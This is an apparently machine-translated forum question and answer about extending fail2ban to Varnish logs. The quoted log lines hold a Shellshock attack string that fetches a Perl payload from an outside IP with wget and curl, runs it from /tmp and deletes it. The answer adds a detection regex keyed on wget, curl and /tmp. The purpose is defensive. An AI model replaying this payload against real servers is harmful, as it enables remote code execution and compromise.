目前有一台服务器有2个IP,一个内部和一个外部带有外部清漆,内部有一个apache后端,fail2ban几乎默认运行。
最近网站发生了故障,返回了503个错误,结果发现fail2ban禁止清漆与apache -noscript规则的apache后端通信。我已经添加了ip地址的排除,所以这不会再次被禁止,但理想情况下,如果客户端将来被禁止,我会更喜欢它。
从apache日志
SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
来自清漆日志
CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
是否可以复制我的apache-noscript定义来使用varnishlogs,即:
[apache-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 2
成为
[varnish-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/varnish/varnishncsa.log
maxretry = 2
我注意到apache没有脚本过滤器具有以下failregex
failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
我想主要的问题是,这仍然适用于上面输出中的varnishlog,如果不是我需要什么failregex?
非常感谢。
[编辑]事实证明,noscript禁止了但不是上述日志条目。现在为上面的日志条目制定fail2ban正则表达式。
答案 0 :(得分:0)
好的,我已经使用以下规则创建了一个新的监狱来捕捉上述内容:
failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$
请随时建议改进规则以捕获上述日志行。
失败的正则表达式适用于apache访问日志和清漆csa日志。